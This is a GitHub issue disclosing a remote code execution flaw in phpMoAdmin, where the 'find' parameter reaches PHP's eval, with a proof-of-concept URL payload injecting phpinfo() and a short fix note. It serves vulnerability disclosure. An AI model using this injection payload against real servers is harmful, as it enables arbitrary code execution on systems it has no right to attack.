Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

phpMoAdmin Remote Code Execution #31

Open
sevck opened this issue Apr 29, 2019 · 0 comments
Open

phpMoAdmin Remote Code Execution #31

sevck opened this issue Apr 29, 2019 · 0 comments

Comments

@sevck
Copy link

sevck commented Apr 29, 2019

hi,
We found a remote code execution vulnerability in phpmoadmin that could allow an attacker to remotely execute arbitrary code to attack an attack server.
image

code line in 562: The find parameter is directly brought into the eval function.

payload:
http://www.xxx.com/moadmin.php?db=datagovernance&action=listRows&collection=quality_control_base&find=array();phpinfo();exit

This payload execution phpinfo();

image


fix:
In php, the eval function is dangerous. It is not recommended to use it. If you must use it, you need to limit the incoming data.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant